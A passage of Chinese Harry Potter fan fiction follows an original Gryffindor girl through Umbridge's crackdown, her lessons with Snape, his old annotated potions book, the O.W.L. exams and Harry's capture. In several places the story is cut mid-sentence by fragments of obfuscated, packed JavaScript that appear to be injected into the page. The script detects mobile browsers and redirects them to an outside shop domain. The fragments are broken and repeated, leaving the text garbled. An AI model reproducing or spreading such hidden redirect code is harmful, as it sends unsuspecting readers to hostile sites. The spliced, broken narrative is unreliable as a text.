蕾雅坐在门厅的长椅上仰起头来看那些各种花样的烟火,绿色和金色的火光交织在一起,璀璨夺目,生机勃勃。而那里面更多地,还满载着乔治和弗雷德那叛逆的勇敢。 几乎就是在那一瞬间,蕾雅就将引起了她愧疚感的父亲叮嘱抛在脑后。她也顿然意识到一件事——这正是她在寻找的憧憬,那种放肆地、执拗地去做自己真正想做的事的勇气。 那之后一整天的课都是与这些烟花一起度过的,而乌姆里奇蓬头垢脸地奔跑在每一个教室之间去清除那些烟火。听着每个教授那阴阳怪气的语调,她突然觉得这个世界也许没有那么糟糕了。公道,还是在的,乌姆里奇的报应,最后都会来的。 夜晚,几乎所有的格兰芬多学生都围在格兰芬多公共休息室里,熙熙攘攘地围在弗雷德和乔治身边唤他们“英雄”。 “今天真的太开心了。”大家说着。 “这简直——”连赫敏也欢快地感叹道,她的脸上仍保留着中午的明亮笑容,“这感觉真的太好了。” 蕾雅看了他们的庆祝一阵,心里也不由地暖了起来。她又看见沙发那侧哈利挂着纯粹而畅快的笑容,想起来自己有东西还没交给他。 “你没事吧?”蕾雅挤到了哈利身边,侧过脸小声问他,“她中午把你叫过去了吧?有没有把你怎么样?” “嗨,”哈利摆了摆手,也压着声音跟她说道,“我想,她让我我喝了一些吐真剂。但是她还没来得及把我怎么样,弗雷德和乔治救了我。” “吐真剂?”蕾雅疑惑地看向他。 “嗯,但不知道为什么,我没有把真话讲出来。”哈利朝她眨眨眼睛,“也许是过期了?” 想起早上那只怪异的笔,蕾雅眉头一皱,几乎是脱口而出地说道,“她到底从哪里搞来那么多怪东西?” 哈利像是被她问住了一样,顿了顿,“你是说吐真剂?要么就是从魔法部来的,要么……斯内普?” 这个没有预料到的名字的出现让蕾雅几乎是顿住了。 原来今天早上斯内普去乌姆里奇办公室时候,手上拿着的是吐真剂啊。 如果是没有奏效的话——那一定是斯内普提供了假的吐真剂。 又一个证据,证明斯内普正在保护他们。她几乎是确信到。 蕾雅从口袋里翻出那瓶为他留下的药剂,递给他,“哈利,这是我爸爸给大家准备的白鲜药水,我给你留了一瓶。把它带在身边,以防万一,好吗?” 哈利接过魔药,对她又扯了一个笑容,绿色眼睛里闪烁着真诚。他说,“谢谢,他人真好。你也总是这么会照顾人。” “啊,他一直这样。”蕾雅淡淡地说着,目光却落在了哈利身后的黑色茶几上。 “蕾雅,哈利!聊什么呢?”赫敏也挤了过来,正坐在另一侧的沙发上看着他们。突然她脸上的明快表情显得更加富有笑意,“哦天哪我怎么从来没发现?你俩坐在一起的时候,看起来怎么这么像兄妹啊?” 话毕,她稍稍提高了一些音量唤罗恩过来问他的意见,“罗恩你快看看,他俩的眼睛和发色怎么长得一模一样?” 蕾雅被他们弄得有些不知所措,只能坐在那里和哈利一起尴尬地笑着。 烟火为蕾雅带来的那种光芒四射的振奋感一直持续到第二天的傍晚,几乎是在这种感觉消散的同时,大厅里也恢复了之前的冷清。 蕾雅抱着一堆要去自习的书下着台阶,故意地在寂寥无人的大厅里放慢了脚步来整理自己的思绪。路过大楼梯中间那副弹着鲁特琴的油画时,她还悠然地站在那里听了一会儿。 就在那幅油画的前面,她想着自己的未来,想着O.W.L,想着赫敏哈利他们,还有——那位黑发巫师。 思绪就像是断了弦的珍珠,落了一地,她又耐心地将它们拾起,而后重新串起。 正当她任由自己的思绪随着那首D大调的卡农飘散开去的时候,一个熟悉的声音倒是将她的思绪打断了—— “罗恩的爸爸也在魔法部工作,蕾雅的爸爸也在魔法部工作。他们的脸上怎么没有写着告密生?而且他们都因为这件事被连累罚抄了!”是哈利,他正在愤怒地说着,“要不是蕾雅爸爸给的药水,你们的伤口还好不了呢!我就想问,为什么同样是魔法部,只有她告密了?” “我也受罚了!我也抄了!这还不够吗!”张秋的声音也随之传来,她几乎是吼起来了,“赫敏·格兰杰真的太过分了。她怎么能没告诉我们那份名单上面有咒语呢——” 蕾雅呆住了一阵,很快地就迈开步子朝声音的传来的地方踱了过去。她从楼梯上瞥见了躲在角落的两个人。 “我倒觉得这个咒语加的很高明,不是吗?”哈利的声音变得有些冷冰冰的。 “哦,是这样啊,当然了,那是你亲爱的赫敏的主意——”张秋继续说道,语气里尽是讽刺。 她意识到他们正在吵架。 而且,蕾雅对梅林发誓这真的不是她要偷听的,但是如果此时走出去,他们两个人肯定立马就能发现她。为了不让三个人都尴尬,蕾雅只得将自己的身体藏在楼梯的石围栏后面被迫听着,突兀地回忆起了情人节那天跟赫敏讨论着他俩谁也不太喜欢谁的事。 蕾雅小心地从围栏的缝隙里探过头去,正看见了张秋通红的脸,她仿佛马上就能哭出来。 当然,哈利也没好到哪里去,他不仅红着脸,更是气得几乎是扭曲着表情。很快,他便头也不回地就朝通往魔药学教室的台阶跑过去了。 等两个人都离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593421|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了以后,蕾雅仍凝视了那个角落好一会儿。末了,她坐在台阶上托着腮叹了一口气。 果然啊,这两个人在一起就是一个错误。张秋的心里也许从来没有过哈利。 “啊……爱情。”尼克爵士不知道什么时候漂浮在了她的身边,“总是……” “晚上好,尼克爵士。”蕾雅侧过头来,饶有兴致地看向他,“总是什么?” “总是能让最理智的巫师和女巫变得像傻瓜一样。”他一边抹了抹自己的眼下一边往前面飘去。几秒后,似乎才意识到自己不会淌下眼泪一样,尼克突然垂下手,回过头来对她露出微笑,“晚上好,莱恩哈特小姐,祝你有一个美好的晚上。” 接下来的一小时里,蕾雅决定将刚刚听见的事情忘掉。她在被窗外清冷月光笼罩着的图书馆里很有效率地写完了下午剩了一些的作业。 离要去斯内普那里的时间还剩一些,她决定看一会儿那本中级魔药学。其实她已经看到很后面了,对于阅读斯内普的笔迹也变得毫无障碍。她已经可以开始稳定地在他的课上获得“E”的评价。 她在图书馆的那些壁灯下静静地消化着他的笔记。不得不感叹着他的才华洋溢——显然,斯内普在她这个年纪就已经具备修改课本的能力。 是前阵子,蕾雅意识到手上这本教材是斯内普曾经用过的,因为那些书页有些过于泛黄,而上面的字迹又有些过于青涩。 边想着边翻到扉页去,上面潦草地写着“Prince”。 她也很疑惑为什么斯内普签上的是Prince,而不是Snape。 而这个离奇的晚上还远远没有结束,并且,它注定是不会美好了。在她踏入魔药学办公室的那一刻便知道了。 彼时,整个地下办公室都笼罩着一股令人窒息的凝重。她看见黑发巫师脸色铁青地坐在那里,他的肩线微微颤抖着,手指用力地捏着办公桌的边缘。即使他似乎故意将头埋进黑夜里的那些阴影里,她还是远远地看见了他黑眸里带着的愤怒。 那些暗淡的魔法烛火映着窗外凄冷的白色月光,硬生生将他那副模样衬得可怖了几分。 她收回目光,低头凝视起了门边上散落了一地的玻璃碎、书页和入药用的死蟑螂。另一边,一个金属架子正歪歪地被甩到了一旁,一角抵在正放着魔药材料的木柜边上。 她几乎毫不费力就可以猜出是哈利的大脑封闭术训练发生了什么事情。 “……先生?”蕾雅背靠着木门,几乎不敢说话,只能站在那里胆怯地看向斯内普。 她很想问他,您还好吗? ——但她知道如果她问出口,下一秒被轰出门或者被装满死蟑螂药材罐砸到脑袋的一定是她。所以她只能安静地、怔怔地伫立那里,不敢动,等着他的指令。 这几分钟漫长得几乎让白天好不容易拾起的全部勇气都丢盔弃甲,落荒而逃。 终于,她听见斯内普重重地吸了一口气,缓缓抬手挥了一下魔杖。碎了一地的玻璃和材料随着他的动作一片片重新归拢,再次成为了一体,回到了架子之上。 “莱恩哈特小姐。”他的声音比任何时候都要冷,她觉得有点像那日霍格莫德滂沱的冻雨,“到外面的教室去,将所有的器材都清洗一遍,收到储物柜里。然后你可以回去了。” “好、好的。”她立刻应道,不安地最后看他一眼。 蕾雅轻轻带上了门,不舍般仍然凝视那扇斑驳的木门一阵。当清楚地意识到自己无法为他做任何事情的时候,一种莫名的无力感包围了她。 她想知道是什么让斯内普如此愤怒呢,虽然他总是用着尖酸刻薄的话,但一直更多的是冰冷与尖锐,并非这种炽热的愤怒。 也许今晚该去找哈利打探一下。 蕾雅一边想着一边转过身走进了魔药学教室里,挥起了魔杖清洗那些低年级用过的器材,顺便修复了几个看起来已经快要碎掉的坩埚。 她不时看向办公室的门,莫名其妙地期盼着他会从房间走出来,以一贯严厉而挑剔的眼光审视她的清理工作。 但是一直到她拖拖拉拉地完成了所有工作,那扇门都没有再打开过。这感觉就像是,斯内普将自己封闭在了房间里面。 当她最后将那些器材逐一放回储物柜的时候,一本旧书颤颤悠悠地从上面的架子滑了下来,正正地落在她的脚边。 蕾雅疑惑地捡了起来。是一本紫色封面的书,看起来已经很旧了,封面的边角都被磨损着,而且脏兮兮的。 封面写着《高级魔药学》,她翻开扉页—— “This book is the property of The Half Blood Prince.(此书乃混血王子财产)” 她意识到,是她熟悉的笔迹,而且又是Prince。 12. 掩饰 Sectumsempra。 四个音节。 简短,有力,又是那样的悦耳。 自她从他的书上看来以后,一遍遍地在心里回想起来。 她当然知道这或许是个危险的咒语。它被记载在他那本《高级魔药学》的介绍页上,潦草的笔迹,写着“Sectumsempra(神锋无影)”,对敌人。“Sectum”意思是切割,“Sempra”意味着始终,合起来来看,便是始终在切割。每当念起这个咒语,那晚沉在阴影里的脸就浮现在她的心头,是愤怒、冷硬的神情。 她并没有想过要去尝试这个咒语,但这不妨碍她喜欢它的发音。这么想到,蕾雅最后又在心里念了一遍,才将注意力放到了魔咒学的笔记上。 这是复活节假期的第一天,蕾雅选择留在了公共休息室里翻看着魔咒学的笔记,因为弗立维教授说假期结束后要进行一次随堂小测。 从小小的走神恢复过来以后,她便举着魔杖轻轻地按着书上的动作一遍遍地练习着。哈利他们三个人正在她的身边讨论着假期的安排。 时间还很早,公共休息室里也只有他们。阳光懒洋洋地从他们身边的高窗外透进来,落在格兰芬多一贯隆重的红色地毯上面,繁复的花纹迎着光线,显得熠熠生辉了起来。 但哈利的表情好像是被阴霾笼罩上了一样,他们正在讨论斯内普不再教哈利大脑封闭术这件事。蕾雅知道是因为周三那天的训练发生了一些不太愉快的插曲,虽然详情不明。 “斯内普是觉得我已经掌握了基本规则了,他说那已经足够了,就这样。”她能看得出来,哈利是有些垂头丧气的。 “可是,可是你不是还会做那些梦吗?”赫敏紧张地问道。 蕾雅也放下了魔杖侧过脸去,正对上哈利的目光,哈利心虚般偏过了脸,压着声音说道:“这事就到这里,都别再提了,好吗?” 她察觉得出哈利一定是在隐瞒着什么事情,一些仅存在于他与斯内普之间的事。 看着他战战兢兢的样子,蕾雅突然又想起了那个斯内普每次都会遮挡一下的金属圆盆。 “说起来,上次我去斯内普那里禁闭的时候。”蕾雅试探般开口。 他们都被她的话引起了注意力,目光一起投了过来。 “呃,就是,那天我看见了他桌上放了一个好大的金属圆盆。金的,里面还有些液体。”蕾雅转了转眼睛,踌躇着继续说,“哈利你有见过吗?你知道那是什么东西吗?” 哈利被她的话说得慌忙般低下头去,沉默了一阵。 “哈利?”蕾雅意识到有什么东西不对劲,“你没事吧?” “呃,”哈利小声地说,“那是一个沉思盆。” “沉思盆?”罗恩重复了一遍他的话,“他要那玩意儿做什么?那不是邓布利多先生才用的吗?” “沉思盆是什么?”蕾雅看向自己的好友赫敏,知道她一定会回答自己的问题。 “沉思盆就是能用来暂时存放和查看记忆的容器。”果然,赫敏立马开始解释,“就是,将记忆抽出来以后,放到那些液体里就能重新查看、分析那些回忆。” “啊,原来是这样。”蕾雅连忙点点头。 这下她更疑惑了,不知道为什么每周三这个盆都会出现在斯内普的办公室里——是的,只有与哈利练习大脑封闭术的周三才会出现,除此之外她从未在办公室里见过。本来想继续追问下去的,但她发现哈利好像在回避着这个话题,也许再说下去他也不会透露更多了,于是决定打消这个想法。 今年的整个复活节,她都处于复习、完成作业和解读那本高级魔药学中度过。高级魔药的知识比中级魔药学要难多了,她甚至连药剂名字的单词也不太认得。但这并不妨碍她从这本书里更加感受到斯内普的极高的魔药天赋。 一想到他就是处在她这个年龄写下这些东西,那种望而不及的空虚感就将她裹了起来。她忽而很想缩短跟他之间的差距,至少,与十七岁的他,但是唯独天赋这种东西,是令人无能为力的。 午后,她坐在图书馆那个几乎是她专属的靠窗位置上面。离上课还有些时间,她靠着墙坐着翻开了这本书,慵懒的暖阳笼罩着她,又落在泛黄的羊皮纸书页上。 比起中级魔药学时期的斯内普,高级魔药学时期的他显然又成长了很多。这本书的每一页都记满了密密麻麻的复杂笔记,几乎没有任何空白的地方,书里还夹杂着有一些她看不懂的记号,除了这些以外,里面还记录了一些很明显是由他创造的小咒语,比如说初见便已经牢牢记住的“神锋无影”。并且,她以为她已经能够读懂他潦草的笔迹了,其实不然——她不得不以笔尖细细地、一行行地划过那些笔迹才分辨出在写什么。 这简直是一本斯内普的私密手账,她想到。 又看了一阵,她不舍般合上书,一边再次感叹着斯内普的才华横溢,她一边将书塞进了书包里,准备去上弗立维教授的魔咒课。 也许是经过了圣诞节假期的训练以及复活节假期的学习,她的魔咒课变得得心应手了很多。今天不仅完美地完成了小测,还获得了弗立维教授的称赞,当然他最近总是在课堂上对她露出了欣慰而满意的神色。 下了课,哈利就凑了过来,“话说,最近你怎么跟换了个人一样。我从来没见过你在魔咒课上这么得心应手过。” “有吗?”蕾雅将垂下的几丝头发重新别到耳朵后面,侧过头笑着看他。 “真的不是跟哪个优秀的学长好上了?”罗恩也贴了过来,趴在后排的椅背上,不怀好意地看着她。 蕾雅抽了抽嘴角。 “你俩不学习,就不要质疑那些努力学习的人行不行?”赫敏的声音倒是很适时地从他们身后传了过来,“蕾雅这个学期每个晚上几乎都去了图书馆呢。” “如果你发现了什么学习秘籍,记得要跟我们分享啊。”哈利推了推眼镜,站起身来,将书包甩到背后。 “O.W.L就靠你们俩了!”罗恩殷勤地说道。 哈利和罗恩有魁地奇的训练,刚出教室门就飞快地消失在走廊尽头了。蕾雅慢悠悠地走出教室,突然就被拉住了衣角。 她回过头来,发现站在身后的是刚刚一起上课的拉文克劳女生。 “怎么了吗?”蕾雅疑惑地看向。 “呃……”这是一个脸上长了一些雀斑的女生,她有些犹豫地开口,“就是……你是不是跟哈利……” 蕾雅眼色一转,立刻嗅到了一丝八卦的味道,她轻说道:“唔,要不换个地方说话?” 于是,她跟这女生走到了离魔咒学教室不远的,天文塔中段的休息区里。蕾雅坐在她的对侧,没有去看她,而是将目光放在一旁的新式天文望远镜上,过了一阵,又越过望远镜定在后面那扇彩色玻璃上。是一幅描绘着从日升到月落的彩色玻璃,正折射出绚丽的光,视线一路往上,是一个巨大的室内穹顶,昏暗的魔法天空里,斗转星移,变幻莫测。 “哈利怎么了?”她终于收回目光,平淡地问。 “你……”那个雀斑女生舔了舔自己的嘴唇,手也不安地按在了自己的大腿上面,“你……是哈利的朋友吧?” “嗯,算是。” “能不能,帮我个忙。”那个女生仍然忐忑着,她的手正从自己的大衣外套里翻找着什么东西,“就是……” “你喜欢哈利?”蕾雅看着她那小心翼翼的样子,决定加快一下对话进程,毕竟她等下还约了麦格教授谈就业指导。 “啊……”那个女生愣了愣,脸色通红地看向她,以很小的幅度点了点头,“就是,之前他不是跟张秋在一起吗。” “我知道,分手啦。”她平和地笑了一下。 雀斑女生从大衣里摸出来的一对耳朵状的小玩意,“就是一个很小的忙,你能不能把这个放到哈利的身上。” 蕾雅好奇地注视了那个小东西一阵,问道,“这是什么?” “就是,施加了窃听咒的,现在很流行……” “窃听咒?!”蕾雅有些惊讶地看向她,皱起了眉,“这不好吧。” “我就是想,想多了解他一点……”她怯懦地说着,声音也小了下去。 脑海里很快浮现出起哈利他们三个人总是在进行的各种计划,还有哈利那些奇怪的梦,有些细节连她都难以得知,更别说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“没关系,就业指导就是为此存在的。”麦格教授清了清嗓子,微笑着放下了羽毛笔,又拿起一份档案翻看了起来。 乌姆里奇在角落里轻笑了一声,蕾雅能听见她正在刷刷地写着些什么。 “我看来,你最近的魔药学表现得很好啊,是班上为数不多能获得斯内普教授‘E’评价的。”麦格教授说道,“也许你会在这方面会有天赋?你有没有想过从事相关职业呢?” 蕾雅一愣,心虚般皱了皱鼻子,“其实……我并没有天赋,是因为我去找了斯内普教授补课来着。只能说是斯内普教授教得好吧。” “补课?”麦格教授眉毛一挑,嘴巴微张着看她,一时不知道该对斯内普替她补课这件事惊讶,还是该是对斯内普教得好这件事惊讶,“斯内普教授,替你补课?” “是啊。”蕾雅有些疑惑地看向她,不知道她为什么这么吃惊。 “哦……没什么,只是我听说斯内普教授不经常给人补课。”麦格教授几乎是自言自语般说道,慢慢地又恢复了平常的语调,“我也注意到你的魔咒学、变形学、黑魔法防御术最近都有所进步。” “这倒是因为我爸爸有在辅导我。” “我记得,莱恩哈特先生是魔法部——” “是神秘司缄默人。”乌姆里奇抓住机会打断了话。 麦格教授似乎不以为然,继续说着,“也许你也可以考虑一下魔法部的工作。” “嗯,我会考虑的。”蕾雅说。 “只要你将这几门课都保持在良好以上,六年级开始就可以上提高班了。就算你现在没什么想法也没关系,还是能有很多选择的。在学习里逐渐发现自己志向的人,并不少。”麦格教授将那份档案重新放回了文件堆里,“还有时间,不用着急的。” “好的教授。”她点点头。 “不过你要注意一下你的草药学,无论是要从事魔法部相关职业还是魔药学相关职业,你至少要把这门课维持在及格线以上,知道吗?”麦格教授语重心长地说道。 蕾雅又点了点头。 “好,还有什么问题吗?”麦格教授重新抬起头来看她。 “没有了。” “记得,无论你遇到了什么难题,随时都可以来找我。”麦格教授和蔼地一笑,“你可以回去了。” “谢谢您,教授。”蕾雅也朝她笑了一下,起身离开了办公室。 13. 噩兆 复活节之后的学期过得飞快,还没来得及适应,初夏有些炽烈的阳光就已经给大地镀上一层暖暖的金灿,城堡外的黑湖开始泛出大片粼粼的波光,万物似乎都变得热烈而明媚。 只是这里面一定不包括霍格沃茨——乔治和弗雷德的离开同时也带走了这座城堡所有的活力与色彩。城堡里的生活变得黯淡而无趣,而O.W.L的备考更是让这个状况变得更加雪上加霜,更不要提乌姆里奇的高压统治。 蕾雅将搅拌棒放下,拿起一旁的银色小盒子将红色的龙血草粉末细细地洒在锅中,逆时针缓慢地搅拌了两圈。她看着那些旋涡出了神,因为她仍然在犹豫着O.W.L的考试志愿。 她侧过头看了一眼正在阅读一份学术报纸的斯内普,终于鼓起勇气,“先生,您有科目选择的建议吗?” “怎么,麦格教授没有告诉你吗?”低沉的声音从办公桌的后面传了过来,“我不认为我应该在提交志愿的最后一天里,给一个格兰芬多学生上职业指导课。” “呃,”蕾雅熄掉了坩埚底下的火,“虽然我还没想好想从事的职业,但麦格教授确实跟我建议了魔药学、变形学、魔咒学、黑魔法防御术,还有草药学。” “对你来说,这已经十分足够了。”斯内普仍然平淡的应着,“如果你想挑战自我,可以试试魔法史,这也是魔法部必修科目之一。” “好。”蕾雅盯着他手中报纸的一角,若有所思地点点头。 “装完瓶后你可以回去了。我对你的指导结束了。”他几乎没什么感情地说着,“别让我失望。” “谢谢您,教授。我会努力考好的。”她拿起小巧的玻璃容器,将坩埚里的浓稠液体小心地倒入密封。 结束了所有的工作,蕾雅再一次跟斯内普道了谢,虽然后者只是冷漠地应了一声。 她关上他办公室的门,又有些落寞地将那本《高级魔药学》放回了教室的储物架里,物归原处,郑重道别。 考试整整维持了两周,但时间却像是瞬间便溜走了。 第一周的考试里,蕾雅几乎是焦头烂额,最后回想起来,唯一留在记忆里的场景就只剩下黑魔法防御术的实践考试。因为那时,她意外地发现斯内普也坐在评判席的一角,面无表情地注视着她和其他进来考试的学生。 蕾雅顺利地施展着防护咒以及各种破解咒语,主考官托福迪教授频频朝她投来的赞同目光。 “最后,”等三个人都考完了,主考官托福迪教授清了清喉咙,“如果有人可以施展出守护神咒,将获得加分。” 然而,蕾雅看见场上的另外两个学生都茫然地摇了摇头,仿佛就像是从来没听过咒语一样。 蕾雅正站在教室的最右侧,她不敢看她正前方的斯内普,只得将视线放在他手边的黄铜色水杯上。 “莱恩哈特小姐?”托福迪教授看向了她,“你可以施展吗?” 她收回走神的视线,看向托福迪教授,“教授,我只成功过一次……” “没关系,你可以试试。” 蕾雅深吸一口气闭上眼睛,脑海里浮现出那些大朵大朵开在霍格沃茨上空的烟花,又忽而想起那日早晨覆盖在自己手背上温暖的白色光芒,她转动手腕,轻轻唤道。 “Expecto Patronum。” 随着她的声音落下,一只活泼的小狮子从她的魔杖顶端蹦了出来,它敏捷地一跃踩上了评判席。在场的人都讶异地以视线追随这只放肆的小狮子,只见它经过乌姆里奇的时候发出了一声低吼,然后又高傲而径直地往前跑去,灵巧地从斯内普的面前跳下了评判席,蹭了蹭他的身侧便消失了。 蕾雅再次扫了一眼斯内普,他正低着头打分。 “很活泼的小狮子!”托福迪教授拍着手说,“不愧是莱恩哈特的女儿,连守护神也一脉相承。” 蕾雅不好意思地摸着自己的鼻尖离开了考场。 第二周的考试也都比较顺利。除了魔药学和魔法史,蕾雅还选了占卜术考试,因为她仍然对费伦泽的解读抱有好感。 晚上,初夏的夜空澄清而辽阔,在漫天的星光里,蕾雅在天文塔台上参加了占卜术观察天体的考试。有夜风拂过霍格沃茨那些斑驳的砖墙,蕾雅挨在赫敏的身边,用力地压着那张星宿图表不让它被吹走,又想着今晚考试结束了以后她会什么都不做,放空大脑迎接明天的魔法史考试。 考试进行到了一半的时候,蕾雅注意到不远处哈利的异常,因为他没有看望远镜,而是一直在看底下的草坪。几分钟后,一声凶猛的咆哮声从海格小屋的方向传来,穿透了霍格沃茨宁静的夜。 蕾雅也离开了自己的望远镜,正望见乌姆里奇带了一帮人将海格从小屋里拉出来,牙牙像炸开的闪电一样冲在了海格的前面朝那些人嘶吼着。突然间,四五道如刀刃一样的红光擦破了夜空的黑暗。蕾雅看见牙牙被咒语击倒在了地上,海格立刻咆哮着与那些人扭打在一起,怒吼声几近响彻夜幕。 她身边的同学们都放下了望远镜惊恐地看着,已经没有人在乎这是在考场上。 “哦,梅林……”赫敏的声音是慌张着的,她朝蕾雅靠了过来,“她怎么能这样对海格。” “乌姆里奇……”蕾雅喃喃道。感觉心里有什么很炽热的东西正在往上涌着,是平息了好几天的愤怒又卷土而来了。 下一刻,麦格教授的声音从草坪的另一侧响了起来——“你们怎么敢!”蕾雅觉得她的怒气就像是骤雷一样朝乌姆里奇袭去。 麦格教授大步穿过草地,直奔那混乱的一群人,大喊着,“你们有什么理由这样对待他——” 但几乎是与她声音响起来的同时,四五道剧烈的红光迅速而凶猛地朝她射了过去—— “不——”哈利大吼一声。 赫敏正在用力抓着蕾雅的手,而蕾雅只能眼睁睁地看着麦格教授的身体猛地倒下,黑影在草地上拉出了一道长长的痕迹。 “这怎么回事?” “麦格教授没事吧?” “又是乌姆里奇——” 身边的学生都开始躁动了,他们难以相信眼前的一切,连主考官托福迪教授都评价了一句“不应该”。而事情还没有结束,大家在高塔上面看着海格紧紧地抱着牙牙,一路跑出了霍格沃茨的大门,追在他身后的乌姆里奇骂得很大声,发出的咒语就像一道道红色的鞭子一样朝着海格抽了过去。 良久,等乌姆里奇垂头丧气的从大门那侧走回来,考场才重归了安静。但是在场的所有人,特别是哈利,都不再有任何的心思考试。蕾雅加快速度地填写答案,却时不时仍从图表中抬起头看向麦格教授躺着的草坪,心里有些担忧。 很快,蕾雅就望见又一个身影从城堡的方向走了出去,大步走向已经失去意识的麦格教授。那人的黑色魔法袍被夜风吹得高高扬起,城堡烛火的暖黄色柔和地映出了他的身影。是斯内普。 那个晚上,公共休息室里不再有谈论考试题目的声音,大家都在讨论今天晚上发生的这场灾难。他们的院长,米勒娃·麦格教授,被四发昏迷咒击中后被送往了医疗翼,而海格正式被乌姆里奇解雇。这就意味着一夜之间,邓布利多、麦格、海格,所有这些与他们亲近的教师们都被迫离开了他们。 蕾雅有很不好的预感。 第二天是最后一场考试。蕾雅坐在哈利的身后,努力去对上试卷上那些立法日期、发现日期、成立日期——噢梅林,巫师们到底为什么要记这些乱七八糟的日期啊?就不能要用的时候去查书吗?她叹着气,发现自己无论怎么回想都不过是徒劳。于是,她几乎是堵着气乱写着日期。 面前哈利的情况似乎比她更糟糕,他不时用力地去抓自己已经乱蓬蓬的头发,好像能从发丝里揪出答案一样。 午后的阳光从礼堂的高窗外斜斜照在偌大的礼堂里,连空气里的尘埃粒子都变得懒洋洋的。谁能想到呢,等考试过半了以后,蕾雅发现哈利竟然真的趴在桌子上睡着了。 喂,哈利! 蕾雅朝他的后背瞪大了双眼,想着也许强烈的视线能让他起来。但她试了好几次都好像不太成功。 但就在蕾雅决定放弃去管他的时候—— “不!”哈利尖叫着从椅子上跳了起来,然后抱着头摔在了地上。 “哈利?你没事吧?”蕾雅立刻甩开了手中的笔,跪下去扶住他的肩膀。 所有的人都看向了他们这边。哈利仍然在尖叫着,嘴里不停地喊着“不要”,蕾雅几乎被他吓坏了。监考的其中一位老巫师连忙走了过来将哈利扶起来,朝蕾雅点了点头示意她回去答题。 蕾雅担忧地看着那位老巫师将哈利扶出了考场,转过来就对上了礼堂那一头赫敏投来关切目光。蕾雅只能摇了摇头,耸了一下肩。 考试一结束,赫敏罗恩就跑出了考场,而哈利也正从大理石楼梯上跑着下来,一脸慌乱地看向赫敏和罗恩。他们三个人一起匆忙地消失在了走廊的那一头。也许是做噩梦了吧,蕾雅又朝三人消失的方向看了一阵,决定还是回公共休息室去等他们回来。 刚没走出去多远,蕾雅就遇到了走廊里聊着天的金妮和卢娜。两个人显然是听说了刚刚哈利在礼堂里的事,一脸疑惑地看着蕾雅,等待着她的解释。 “我也不知道,他就在我面前睡着了。”蕾雅说着,“可能是做噩梦了吧?” “做噩梦能那样跳起来?”卢娜挑了挑眉毛。 “这得是个相当了不得的噩梦。”金妮说道。 “不知道,但我看他的样子还挺慌张的。”蕾雅耸了耸肩。 她们三个人又一边讨论着一边拐进了走廊,就在那里,他们听见了哈利的声音,几乎是在吼着——“是啊,如果他能知道我刚刚看见的东西,我猜,他永远不会那样建议我了——” 金妮一皱眉,立马推开了教室的门。 “喂——金妮。”蕾雅没来得及拉住她,只能跟着她一起进去。 教室里,三个人都正红着脸,一看就知道刚刚这里发生了一场激烈的争吵。 更糟糕的是,哈利对金妮破门而入的行为特别的不满意,而卢娜则对哈利对金妮的态度更不满意。 就在哈利立马也要跟金妮和卢娜争吵起来的时候,赫敏举起手突然说道,“等等,哈利,她们可以帮忙。” 哈利张了张嘴,没能说出话,茫然地看向赫敏。蕾雅则是更加茫然地站在金妮后面,不知道面前到底在发生什么事。 “如果我们要去乌姆里奇的办公室,从她的壁炉里试试能不能联系在伦敦的西里斯。”赫敏的语速很快,“我们需要人来引开她。”她看向了金妮。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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刚刚跑进天文学区的大厅里,蕾雅就远远地瞥见了金妮和纳威,他们正与穿着斯莱特林制服的马尔福和沃林顿激烈地厮打在一起。蕾雅顿住了脚步,惊恐地看着金妮他们被拖进了黑魔法防御课的教室里。 完了—— 哈利他们肯定是被抓住了。乌姆里奇这一次是真的可能对他们用鞭///刑的,就是那些她没有施展在乔治和弗雷德身上的。 怎么办—— 蕾雅背靠着天文学塔楼大厅里那些褪了色的木墙板,望着黑魔法防御课教室的方向喘着气。等自己的呼吸平伏了一些,便再次迈开了脚步跑了起来。 她再一次穿过那些长长的走廊和庭院。风急速地灌进她的喉咙里,她感觉自己撞到了很多路过的学生,但是她根本不想去在乎他们。她用尽全力冲进图书馆塔楼,以她最快的速度直接跑向了通往地下教室的楼梯。 她感觉自己的心跳猛烈地都快要从喉咙里跳出来了。 梅林——求求了,他一定要在啊! 就在蕾雅一连跳下最后三个台阶的同时,正要去医疗翼送药水的斯内普刚刚带上了他办公室的门。他错愕地看着少女从台阶的那边像风一样飞跑过来,最后几乎是摔在了他面前。她的脸颊因为剧烈运动而涨的通红,被汗水打湿的黑发凌乱地散着,衣服也因为剧烈奔跑而变得歪歪扭扭,正在大口喘着气,狼狈得不行。 “莱恩哈特?”斯内普抱着一个很大的木箱子,皱着眉毛盯着这个正在他面前喘着气的少女。 “先,生……救,”蕾雅极力地从喉咙里挤出声音,“救,哈利……” 听见这个名字,斯内普的目光变得尖锐了一些,他看了一眼周围,腾出一只手一把抓过她的手臂,将她拉进了他的办公室里。 “呼吸(Breathe),莱恩哈特。”斯内普将木箱子放在一侧,又将办公室门锁上。 蕾雅用手捂住自己的胸口,用力地又吸了一口气,才说道:“……先生,斯内普教授,求您救救哈利!乌姆里奇抓住了哈利。” “他们又做什么愚蠢的事了?”斯内普嘴角微微一抽,黑色的眼睛里闪过一丝不耐。 “哈利梦见布莱克先生被神秘人杀死,在神秘司。”蕾雅抬起头看向面前的黑发巫师,她很确信他是唯一能救他们的人了,她急促地接着说道,“他想用乌姆里奇的壁炉确认布莱克先生在不在家。然后他们就被马尔福他们抓住了!赫敏、罗恩、金妮、卢娜、纳威都在里面——” 斯内普哼了一声,一丝紧张和厌烦同时滑过了他的脸,导致脸上变得有些扭曲,眼下的阴沉也更重了。 